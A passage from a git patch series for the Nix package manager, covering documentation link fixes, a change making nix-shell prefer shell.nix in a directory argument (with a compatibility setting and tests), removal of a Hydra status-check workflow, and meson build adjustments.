-          [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath),
+          [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath),
           or to URIs outside of
           [`allowed-uris`](@docroot@/command-ref/conf-file.md#conf-allowed-uris).
         )"};
@@ -127,10 +127,10 @@ struct EvalSettings : Config
 
           - Restrict file system and network access to files specified by cryptographic hash
           - Disable impure constants:
-            - [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem)
-            - [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime)
-            - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath)
-            - [`builtins.storePath`](@docroot@/language/builtin-constants.md#builtins-storePath)
+            - [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem)
+            - [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime)
+            - [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath)
+            - [`builtins.storePath`](@docroot@/language/builtins.md#builtins-storePath)
         )"
         };
 
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 7a946bdaac3..134363e1ab2 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1872,7 +1872,7 @@ static RegisterPrimOp primop_findFile(PrimOp {
       - If the suffix is found inside that directory, then the entry is a match.
         The combined absolute path of the directory (now downloaded if need be) and the suffix is returned.
 
-      [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath):
+      [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](#builtins-nixPath):
 
       ```nix
       <nixpkgs>
@@ -4519,7 +4519,7 @@ void EvalState::createBaseEnv()
     addConstant("builtins", v, {
         .type = nAttrs,
         .doc = R"(
-          Contains all the [built-in functions](@docroot@/language/builtins.md) and values.
+          Contains all the built-in functions and values.
 
           Since built-in functions were added over time, [testing for attributes](./operators.md#has-attribute) in `builtins` can be used for graceful fallback on older Nix installations:
 
diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 439e9f4fc10..dfe25f31726 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -228,7 +228,7 @@ public:
           While you can force Nix to run a Darwin-specific `builder` executable on a Linux machine, the result would obviously be wrong.
 
           This value is available in the Nix language as
-          [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem)
+          [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem)
           if the
           [`eval-system`](#conf-eval-system)
           configuration option is set as the empty string.
diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc
index 9b7000f9f3e..1c080e372f6 100644
--- a/src/libutil/experimental-features.cc
+++ b/src/libutil/experimental-features.cc
@@ -66,7 +66,7 @@ constexpr std::array<ExperimentalFeatureDetails, numXpFeatures> xpFeatureDetails
             an impure derivation cannot also be
             [content-addressed](#xp-feature-ca-derivations).
 
-            This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime).
+            This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime).
         )",
         .trackingUrl = "https://github.com/NixOS/nix/milestone/42",
     },
diff --git a/src/nix/main.cc b/src/nix/main.cc
index e95558781f8..de6d89bd371 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -419,35 +419,28 @@ void mainWrapped(int argc, char * * argv)
         };
         evalSettings.pureEval = false;
         EvalState state({}, openStore("dummy://"), evalSettings);
-        auto res = nlohmann::json::object();
-        res["builtins"] = ({
-            auto builtinsJson = nlohmann::json::object();
-            for (auto & builtin : *state.baseEnv.values[0]->attrs()) {
-                auto b = nlohmann::json::object();
-                if (!builtin.value->isPrimOp()) continue;
-                auto primOp = builtin.value->primOp();
-                if (!primOp->doc) continue;
-                b["arity"] = primOp->arity;
-                b["args"] = primOp->args;
-                b["doc"] = trim(stripIndentation(primOp->doc));
+        auto builtinsJson = nlohmann::json::object();
+        for (auto & builtin : *state.baseEnv.values[0]->attrs()) {
+            auto b = nlohmann::json::object();
+            if (!builtin.value->isPrimOp()) continue;
+            auto primOp = builtin.value->primOp();
+            if (!primOp->doc) continue;
+            b["args"] = primOp->args;
+            b["doc"] = trim(stripIndentation(primOp->doc));
+            if (primOp->experimentalFeature)
                 b["experimental-feature"] = primOp->experimentalFeature;
-                builtinsJson[state.symbols[builtin.name]] = std::move(b);
-            }
-            std::move(builtinsJson);
-        });
-        res["constants"] = ({
-            auto constantsJson = nlohmann::json::object();
-            for (auto & [name, info] : state.constantInfos) {
-                auto c = nlohmann::json::object();
-                if (!info.doc) continue;
-                c["doc"] = trim(stripIndentation(info.doc));
-                c["type"] = showType(info.type, false);
-                c["impure-only"] = info.impureOnly;
-                constantsJson[name] = std::move(c);
-            }
-            std::move(constantsJson);
-        });
-        logger->cout("%s", res);
+            builtinsJson[state.symbols[builtin.name]] = std::move(b);
+        }
+        for (auto & [name, info] : state.constantInfos) {
+            auto b = nlohmann::json::object();
+            if (!info.doc) continue;
+            b["doc"] = trim(stripIndentation(info.doc));
+            b["type"] = showType(info.type, false);
+            if (info.impureOnly)
+                b["impure-only"] = true;
+            builtinsJson[name] = std::move(b);
+        }
+        logger->cout("%s", builtinsJson);
         return;
     }
 

From cfe3ee3de84458a8962a6c714e602e6791666101 Mon Sep 17 00:00:00 2001
From: Robert Hensing <roberth@users.noreply.github.com>
Date: Mon, 8 Jul 2024 14:36:36 +0200
Subject: [PATCH 523/528] `nix-shell`: look up `shell.nix` when argument is a
 directory (#11057)

* Refactor: rename runEnv -> isNixShell

* Refactor: rename left -> remainingArgs

* nix-build.cc: Refactor: extract baseDir variable

* nix-build.cc: Refactor: extract sourcePath, resolvedPath variables

* nix-shell: Look for shell.nix when directory is specified

* Add legacy setting: nix-shell-always-looks-for-shell-nix

* rl-next: Add note about shell.nix lookups

* tests/functional/shell.nix: Implement runHook for dummy stdenv
---
 .../rl-next/nix-shell-looks-for-shell-nix.md  | 28 ++++++
 src/libcmd/common-eval-args.cc                |  7 ++
 src/libcmd/common-eval-args.hh                |  6 ++
 src/libcmd/compatibility-settings.hh          | 19 ++++
 src/libcmd/meson.build                        |  1 +
 src/libexpr/eval.cc                           |  4 +-
 src/libexpr/eval.hh                           |  4 +-
 src/nix-build/nix-build.cc                    | 90 +++++++++++++------
 tests/functional/nix-shell.sh                 | 53 +++++++++++
 tests/functional/shell.nix                    | 15 ++++
 10 files changed, 198 insertions(+), 29 deletions(-)
 create mode 100644 doc/manual/rl-next/nix-shell-looks-for-shell-nix.md
 create mode 100644 src/libcmd/compatibility-settings.hh

diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md
new file mode 100644
index 00000000000..99be4148bf1
--- /dev/null
+++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md
@@ -0,0 +1,28 @@
+---
+synopsis: "`nix-shell <directory>` looks for `shell.nix`"
+significance: significant
+issues:
+- 496
+- 2279
+- 4529
+- 5431
+- 11053
+prs:
+- 11057
+---
+
+`nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory.
+
+Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue.
+This adjustment addresses a commonly reported problem.
+
+This also applies to `nix-shell` shebang scripts. Consider the following example:
+
+```shell
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash
+```
+
+This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise.
+
+The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`.
diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc
index 01546f9a0bd..62745b6815f 100644
--- a/src/libcmd/common-eval-args.cc
+++ b/src/libcmd/common-eval-args.cc
@@ -11,6 +11,8 @@
 #include "command.hh"
 #include "tarball.hh"
 #include "fetch-to-store.hh"
+#include "compatibility-settings.hh"
+#include "eval-settings.hh"
 
 namespace nix {
 
@@ -33,6 +35,11 @@ EvalSettings evalSettings {
 
 static GlobalConfig::Register rEvalSettings(&evalSettings);
 
+CompatibilitySettings compatibilitySettings {};
+
+static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings);
+
+
 MixEvalArgs::MixEvalArgs()
 {
     addFlag({
diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh
index 189abf0ed52..8d303ee7c13 100644
--- a/src/libcmd/common-eval-args.hh
+++ b/src/libcmd/common-eval-args.hh
@@ -13,6 +13,7 @@ namespace nix {
 class Store;
 class EvalState;
 struct EvalSettings;
+struct CompatibilitySettings;
 class Bindings;
 struct SourcePath;
 
@@ -21,6 +22,11 @@ struct SourcePath;
  */
 extern EvalSettings evalSettings;
 
+/**
+ * Settings that control behaviors that have changed since Nix 2.3.
+ */
+extern CompatibilitySettings compatibilitySettings;
+
 struct MixEvalArgs : virtual Args, virtual MixRepair
 {
     static constexpr auto category = "Common evaluation options";
diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh
new file mode 100644
index 00000000000..5dc0eaf2b38
--- /dev/null
+++ b/src/libcmd/compatibility-settings.hh
@@ -0,0 +1,19 @@
+#pragma once
+#include "config.hh"
+
+namespace nix {
+struct CompatibilitySettings : public Config
+{
+
+    CompatibilitySettings() = default;
+
+    Setting<bool> nixShellAlwaysLooksForShellNix{this, true, "nix-shell-always-looks-for-shell-nix", R"(
+        Before Nix 2.24, [`nix-shell`](@docroot@/command-ref/nix-shell.md) would only look at `shell.nix` if it was in the working directory - when no file was specified.
+
+        Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument.
+
+        You may set this to `false` to revert to the Nix 2.3 behavior.
+    )"};
+};
+
+};
diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build
index d9a90508a05..2c8a9fa3374 100644
--- a/src/libcmd/meson.build
+++ b/src/libcmd/meson.build
@@ -97,6 +97,7 @@ headers = [config_h] + files(
   'command-installable-value.hh',
   'command.hh',
   'common-eval-args.hh',
+  'compatibility-settings.hh',
   'editor-for.hh',
   'installable-attr-path.hh',
   'installable-derived-path.hh',
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 48ed66883b8..2a08621231f 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -2650,7 +2650,7 @@ void EvalState::printStatistics()
 }
 
 
-SourcePath resolveExprPath(SourcePath path)
+SourcePath resolveExprPath(SourcePath path, bool addDefaultNix)
 {
     unsigned int followCount = 0, maxFollow = 1024;
 
@@ -2666,7 +2666,7 @@ SourcePath resolveExprPath(SourcePath path)
     }
 
     /* If `path' refers to a directory, append `/default.nix'. */
-    if (path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory)
+    if (addDefaultNix && path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory)
         return path / "default.nix";
 
     return path;
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index b84bc9907c8..e45358055ed 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -850,8 +850,10 @@ std::string showType(const Value & v);
 
 /**
  * If `path` refers to a directory, then append "/default.nix".
+ *
+ * @param addDefaultNix Whether to append "/default.nix" after resolving symlinks.
  */
-SourcePath resolveExprPath(SourcePath path);
+SourcePath resolveExprPath(SourcePath path, bool addDefaultNix = true);
 
 /**
  * Whether a URI is allowed, assuming restrictEval is enabled
diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc
index 57630c8c34b..d37b16bdca0 100644
--- a/src/nix-build/nix-build.cc
+++ b/src/nix-build/nix-build.cc
@@ -26,6 +26,7 @@
 #include "legacy.hh"
 #include "users.hh"
 #include "network-proxy.hh"
+#include "compatibility-settings.hh"
 
 using namespace nix;
 using namespace std::string_literals;
@@ -90,24 +91,50 @@ static std::vector<std::string> shellwords(const std::string & s)
     return res;
 }
 
+/**
+ * Like `resolveExprPath`, but prefers `shell.nix` instead of `default.nix`,
+ * and if `path` was a directory, it checks eagerly whether `shell.nix` or
+ * `default.nix` exist, throwing an error if they don't.
+ */
+static SourcePath resolveShellExprPath(SourcePath path)
+{
+    auto resolvedOrDir = resolveExprPath(path, false);
+    if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) {
+        if ((resolvedOrDir / "shell.nix").pathExists()) {
+            if (compatibilitySettings.nixShellAlwaysLooksForShellNix) {
+                return resolvedOrDir / "shell.nix";
+            } else {
+                warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.",
+                    resolvedOrDir / "shell.nix",
+                    "nix-shell-always-looks-for-shell-nix");
+            }
+        }
+        if ((resolvedOrDir / "default.nix").pathExists()) {
+            return resolvedOrDir / "default.nix";
+        }
+        throw Error("neither '%s' nor '%s' found in '%s'", "shell.nix", "default.nix", resolvedOrDir);
+    }
+    return resolvedOrDir;
+}
+
 static void main_nix_build(int argc, char * * argv)
 {
     auto dryRun = false;
-    auto runEnv = std::regex_search(argv[0], std::regex("nix-shell$"));
+    auto isNixShell = std::regex_search(argv[0], std::regex("nix-shell$"));
     auto pure = false;
     auto fromArgs = false;
     auto packages = false;
     // Same condition as bash uses for interactive shells
     auto interactive = isatty(STDIN_FILENO) && isatty(STDERR_FILENO);
     Strings attrPaths;
-    Strings left;
+    Strings remainingArgs;
     BuildMode buildMode = bmNormal;
     bool readStdin = false;
 
     std::string envCommand; // interactive shell
     Strings envExclude;
 
-    auto myName = runEnv ? "nix-shell" : "nix-build";
+    auto myName = isNixShell ? "nix-shell" : "nix-build";
 
     auto inShebang = false;
     std::string script;
@@ -132,7 +159,7 @@ static void main_nix_build(int argc, char * * argv)
     // Heuristic to see if we're invoked as a shebang script, namely,
     // if we have at least one argument, it's the name of an
     // executable file, and it starts with "#!".
-    if (runEnv && argc > 1) {
+    if (isNixShell && argc > 1) {
         script = argv[1];
         try {
             auto lines = tokenizeString<Strings>(readFile(script), "\n");
@@ -186,9 +213,9 @@ static void main_nix_build(int argc, char * * argv)
             dryRun = true;
 
         else if (*arg == "--run-env") // obsolete
-            runEnv = true;
+            isNixShell = true;
 
-        else if (runEnv && (*arg == "--command" || *arg == "--run")) {
+        else if (isNixShell && (*arg == "--command" || *arg == "--run")) {
             if (*arg == "--run")
                 interactive = false;
             envCommand = getArg(*arg, arg, end) + "\nexit";
@@ -206,7 +233,7 @@ static void main_nix_build(int argc, char * * argv)
         else if (*arg == "--pure") pure = true;
         else if (*arg == "--impure") pure = false;
 
-        else if (runEnv && (*arg == "--packages" || *arg == "-p"))
+        else if (isNixShell && (*arg == "--packages" || *arg == "-p"))
             packages = true;
 
         else if (inShebang && *arg == "-i") {
@@ -246,7 +273,7 @@ static void main_nix_build(int argc, char * * argv)
             return false;
 
         else
-            left.push_back(*arg);
+            remainingArgs.push_back(*arg);
 
         return true;
     });
@@ -266,7 +293,7 @@ static void main_nix_build(int argc, char * * argv)
     auto autoArgs = myArgs.getAutoArgs(*state);
 
     auto autoArgsWithInNixShell = autoArgs;
-    if (runEnv) {
+    if (isNixShell) {
         auto newArgs = state->buildBindings(autoArgsWithInNixShell->size() + 1);
         newArgs.alloc("inNixShell").mkBool(true);
         for (auto & i : *autoArgs) newArgs.insert(i);
@@ -276,19 +303,26 @@ static void main_nix_build(int argc, char * * argv)
     if (packages) {
         std::ostringstream joined;
         joined << "{...}@args: with import <nixpkgs> args; (pkgs.runCommandCC or pkgs.runCommand) \"shell\" { buildInputs = [ ";
-        for (const auto & i : left)
+        for (const auto & i : remainingArgs)
             joined << '(' << i << ") ";
         joined << "]; } \"\"";
         fromArgs = true;
-        left = {joined.str()};
-    } else if (!fromArgs) {
-        if (left.empty() && runEnv && pathExists("shell.nix"))
-            left = {"shell.nix"};
-        if (left.empty())
-            left = {"default.nix"};
+        remainingArgs = {joined.str()};
+    } else if (!fromArgs && remainingArgs.empty()) {
+        if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) {
+            // If we're in 2.3 compatibility mode, we need to look for shell.nix
+            // now, because it won't be done later.
+            remainingArgs = {"shell.nix"};
+        } else {
+            remainingArgs = {"."};
+
+            // Instead of letting it throw later, we throw here to give a more relevant error message
+            if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix"))
+                throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix");
+        }
     }
 
-    if (runEnv)
+    if (isNixShell)
         setEnv("IN_NIX_SHELL", pure ? "pure" : "impure");
 
     PackageInfos drvs;
@@ -299,7 +333,7 @@ static void main_nix_build(int argc, char * * argv)
     if (readStdin)
         exprs = {state->parseStdin()};
     else
-        for (auto i : left) {
+        for (auto i : remainingArgs) {
             if (fromArgs)
                 exprs.push_back(state->parseExprFromString(std::move(i), state->rootPath(".")));
             else {
@@ -310,14 +344,18 @@ static void main_nix_build(int argc, char * * argv)
                 auto [path, outputNames] = parsePathWithOutputs(absolute);
                 if (evalStore->isStorePath(path) && hasSuffix(path, ".drv"))
                     drvs.push_back(PackageInfo(*state, evalStore, absolute));
-                else
+                else {
                     /* If we're in a #! script, interpret filenames
                        relative to the script. */
-                    exprs.push_back(
-                        state->parseExprFromFile(
-                            resolveExprPath(
-                                lookupFileArg(*state,
-                                    inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i))));
+                    auto baseDir = inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i;
+
+                    auto sourcePath = lookupFileArg(*state,
+                                    baseDir);
+                    auto resolvedPath =
+                        isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath);
+
+                    exprs.push_back(state->parseExprFromFile(resolvedPath));
+                }
             }
         }
 
@@ -330,7 +368,7 @@ static void main_nix_build(int argc, char * * argv)
 
         std::function<bool(const Value & v)> takesNixShellAttr;
         takesNixShellAttr = [&](const Value & v) {
-            if (!runEnv) {
+            if (!isNixShell) {
                 return false;
             }
             bool add = false;
@@ -381,7 +419,7 @@ static void main_nix_build(int argc, char * * argv)
             store->buildPaths(paths, buildMode, evalStore);
     };
 
-    if (runEnv) {
+    if (isNixShell) {
         if (drvs.size() != 1)
             throw UsageError("nix-shell requires a single derivation");
 
diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh
index 2c94705dec0..65ff279f868 100755
--- a/tests/functional/nix-shell.sh
+++ b/tests/functional/nix-shell.sh
@@ -21,6 +21,10 @@ output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \
 
 [ "$output" = " - foo - bar - true" ]
 
+output=$(nix-shell --pure "$shellDotNix" -A shellDrv --option nix-shell-always-looks-for-shell-nix false --run \
+    'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"')
+[ "$output" = " - foo - bar - true" ]
+
 # Test --keep
 output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \
     'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"')
@@ -91,6 +95,55 @@ sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.nix > $TEST_ROOT/shell.sheba
 chmod a+rx $TEST_ROOT/shell.shebang.nix
 $TEST_ROOT/shell.shebang.nix
 
+mkdir $TEST_ROOT/lookup-test $TEST_ROOT/empty
+
+echo "import $shellDotNix" > $TEST_ROOT/lookup-test/shell.nix
+cp config.nix $TEST_ROOT/lookup-test/
+echo 'abort "do not load default.nix!"' > $TEST_ROOT/lookup-test/default.nix
+
+nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet "it works"
+# https://github.com/NixOS/nix/issues/4529
+nix-shell -I "testRoot=$TEST_ROOT" '<testRoot/lookup-test>' -A shellDrv --run 'echo "it works"' | grepQuiet "it works"
+
+expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \
+  | grepQuiet -F "do not load default.nix!" # we did, because we chose to enable legacy behavior
+expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \
+  | grepQuiet "Skipping .*lookup-test/shell\.nix.*, because the setting .*nix-shell-always-looks-for-shell-nix.* is disabled. This is a deprecated behavior\. Consider enabling .*nix-shell-always-looks-for-shell-nix.*"
+
+(
+  cd $TEST_ROOT/empty;
+  expectStderr 1 nix-shell | \
+    grepQuiet "error.*no argument specified and no .*shell\.nix.* or .*default\.nix.* file found in the working directory"
+)
+
+expectStderr 1 nix-shell -I "testRoot=$TEST_ROOT" '<testRoot/empty>' |
+  grepQuiet "error.*neither .*shell\.nix.* nor .*default\.nix.* found in .*/empty"
+
+cat >$TEST_ROOT/lookup-test/shebangscript <<EOF
+#!$(type -P env) nix-shell
+#!nix-shell -A shellDrv -i bash
+[[ \$VAR_FROM_NIX == bar ]]
+echo "script works"
+EOF
+chmod +x $TEST_ROOT/lookup-test/shebangscript
+
+$TEST_ROOT/lookup-test/shebangscript | grepQuiet "script works"
+
+# https://github.com/NixOS/nix/issues/5431
+mkdir $TEST_ROOT/marco{,/polo}
+echo 'abort "marco/shell.nix must not be used, but its mere existence used to cause #5431"' > $TEST_ROOT/marco/shell.nix
+cat >$TEST_ROOT/marco/polo/default.nix <<EOF
+#!$(type -P env) nix-shell
+(import $TEST_ROOT/lookup-test/shell.nix {}).polo
+EOF
+chmod a+x $TEST_ROOT/marco/polo/default.nix
+(cd $TEST_ROOT/marco && ./polo/default.nix | grepQuiet "Polo")
+
+
+#####################
+# Flake equivalents #
+#####################
+
 # Test 'nix develop'.
 nix develop -f "$shellDotNix" shellDrv -c bash -c '[[ -n $stdenv ]]'
 
diff --git a/tests/functional/shell.nix b/tests/functional/shell.nix
index 6a7dd7ad137..750cdf0bcaa 100644
--- a/tests/functional/shell.nix
+++ b/tests/functional/shell.nix
@@ -26,6 +26,9 @@ let pkgs = rec {
     fun() {
       echo blabla
     }
+    runHook() {
+      eval "''${!1}"
+    }
   '';
 
   stdenv = mkDerivation {
@@ -45,6 +48,18 @@ let pkgs = rec {
     TEST_inNixShell = if inNixShell then "true" else "false";
     inherit stdenv;
     outputs = ["dev" "out"];
+  } // {
+    shellHook = abort "Ignore non-drv shellHook attr";
+  };
+
+  # https://github.com/NixOS/nix/issues/5431
+  # See nix-shell.sh
+  polo = mkDerivation {
+    name = "polo";
+    inherit stdenv;
+    shellHook = ''
+      echo Polo
+    '';
   };
 
   # Used by nix-shell -p

From ab0b54b9059cb1ebb2a19325908b51ea4a46e5a2 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 8 Jul 2024 14:38:57 +0200
Subject: [PATCH 524/528] Remove the Hydra status check workflow

I'm sick of receiving an email about this every 30 minutes.
---
 .github/workflows/hydra_status.yml | 20 ------------------
 scripts/check-hydra-status.sh      | 33 ------------------------------
 2 files changed, 53 deletions(-)
 delete mode 100644 .github/workflows/hydra_status.yml
 delete mode 100644 scripts/check-hydra-status.sh

diff --git a/.github/workflows/hydra_status.yml b/.github/workflows/hydra_status.yml
deleted file mode 100644
index 2a75747479f..00000000000
--- a/.github/workflows/hydra_status.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-name: Hydra status
-
-permissions: read-all
-
-on:
-  schedule:
-    - cron: "12,42 * * * *"
-  workflow_dispatch:
-
-jobs:
-  check_hydra_status:
-    name: Check Hydra status
-    if: github.repository_owner == 'NixOS'
-    runs-on: ubuntu-latest
-    steps:
-    - uses: actions/checkout@v4
-      with:
-        fetch-depth: 0
-    - run: bash scripts/check-hydra-status.sh
-
diff --git a/scripts/check-hydra-status.sh b/scripts/check-hydra-status.sh
deleted file mode 100644
index e62705e9498..00000000000
--- a/scripts/check-hydra-status.sh
+++ /dev/null
@@ -1,33 +0,0 @@
-#!/usr/bin/env bash
-
-set -euo pipefail
-# set -x
-
-
-# mapfile BUILDS_FOR_LATEST_EVAL < <(
-# curl -H 'Accept: application/json' https://hydra.nixos.org/jobset/nix/master/evals | \
-#   jq -r '.evals[0].builds[] | @sh')
-BUILDS_FOR_LATEST_EVAL=$(
-curl -sS -H 'Accept: application/json' https://hydra.nixos.org/jobset/nix/master/evals | \
-  jq -r '.evals[0].builds[]')
-
-someBuildFailed=0
-
-for buildId in $BUILDS_FOR_LATEST_EVAL; do
-  buildInfo=$(curl --fail -sS -H 'Accept: application/json' "https://hydra.nixos.org/build/$buildId")
-
-  finished=$(echo "$buildInfo" | jq -r '.finished')
-
-  if [[ $finished = 0 ]]; then
-    continue
-  fi
-
-  buildStatus=$(echo "$buildInfo" | jq -r '.buildstatus')
-
-  if [[ $buildStatus != 0 ]]; then
-    someBuildFailed=1
-    echo "Job “$(echo "$buildInfo" | jq -r '.job')” failed on hydra: $buildInfo"
-  fi
-done
-
-exit "$someBuildFailed"

From c5284a84f3535547aea02b296e0e10e6a7113ca4 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sun, 7 Jul 2024 14:29:28 -0400
Subject: [PATCH 525/528] Forgot to include `config-expr.hh` in some places

---
 src/libcmd/meson.build             | 1 +
 src/libexpr/meson.build            | 1 +
 tests/unit/libexpr/meson.build     | 2 +-
 tests/unit/libfetchers/meson.build | 2 +-
 4 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build
index d9a90508a05..8548bea7048 100644
--- a/src/libcmd/meson.build
+++ b/src/libcmd/meson.build
@@ -64,6 +64,7 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
+  '-include', 'config-expr.hh',
   '-include', 'config-main.hh',
   '-include', 'config-cmd.hh',
   language : 'cpp',
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 9fe7c17c4e5..3025b6da182 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -69,6 +69,7 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
+  '-include', 'config-expr.hh',
   language : 'cpp',
 )
 
diff --git a/tests/unit/libexpr/meson.build b/tests/unit/libexpr/meson.build
index a7b22f7f1e8..ee35258cf27 100644
--- a/tests/unit/libexpr/meson.build
+++ b/tests/unit/libexpr/meson.build
@@ -41,7 +41,7 @@ add_project_arguments(
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
-  '-include', 'config-store.hh',
+  '-include', 'config-expr.hh',
   '-include', 'config-util.h',
   '-include', 'config-store.h',
   '-include', 'config-expr.h',
diff --git a/tests/unit/libfetchers/meson.build b/tests/unit/libfetchers/meson.build
index b4bc77a9780..d2de9382933 100644
--- a/tests/unit/libfetchers/meson.build
+++ b/tests/unit/libfetchers/meson.build
@@ -37,7 +37,7 @@ add_project_arguments(
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
-  '-include', 'config-store.hh',
+  # '-include', 'config-fetchers.h',
   language : 'cpp',
 )
 

From 6e5cec292b56814541f71052ec566ebf3129ea1c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 8 Jul 2024 09:47:25 -0400
Subject: [PATCH 526/528] Use a meson "generator" to deduplicate `.gen.hh`
 creation

---
 build-utils-meson/generate-header/meson.build |  7 +++++++
 meson.build                                   |  3 ++-
 src/libexpr/meson.build                       |  9 +++------
 src/libexpr/primops/meson.build               | 11 +++--------
 src/libstore/meson.build                      | 10 +++-------
 5 files changed, 18 insertions(+), 22 deletions(-)
 create mode 100644 build-utils-meson/generate-header/meson.build

diff --git a/build-utils-meson/generate-header/meson.build b/build-utils-meson/generate-header/meson.build
new file mode 100644
index 00000000000..dfbe1375f4f
--- /dev/null
+++ b/build-utils-meson/generate-header/meson.build
@@ -0,0 +1,7 @@
+bash = find_program('bash', native: true)
+
+gen_header = generator(
+  bash,
+  arguments : [ '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
+  output : '@PLAINNAME@.gen.hh',
+)
diff --git a/meson.build b/meson.build
index 356d978dc8e..f09998ab6d6 100644
--- a/meson.build
+++ b/meson.build
@@ -6,6 +6,7 @@ project('nix-dev-shell', 'cpp',
   subproject_dir : 'src',
 )
 
+# Internal Libraries
 subproject('libutil')
 subproject('libstore')
 subproject('libfetchers')
@@ -18,7 +19,7 @@ subproject('libcmd')
 subproject('internal-api-docs')
 subproject('external-api-docs')
 
-# C wrappers
+# External C wrapper libraries
 subproject('libutil-c')
 subproject('libstore-c')
 subproject('libexpr-c')
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 9fe7c17c4e5..05097c286b8 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -116,20 +116,17 @@ lexer_tab = custom_target(
   install_dir : get_option('includedir') / 'nix',
 )
 
+subdir('build-utils-meson/generate-header')
+
 generated_headers = []
 foreach header : [
   'imported-drv-to-derivation.nix',
   'fetchurl.nix',
   'call-flake.nix',
 ]
-  generated_headers += custom_target(
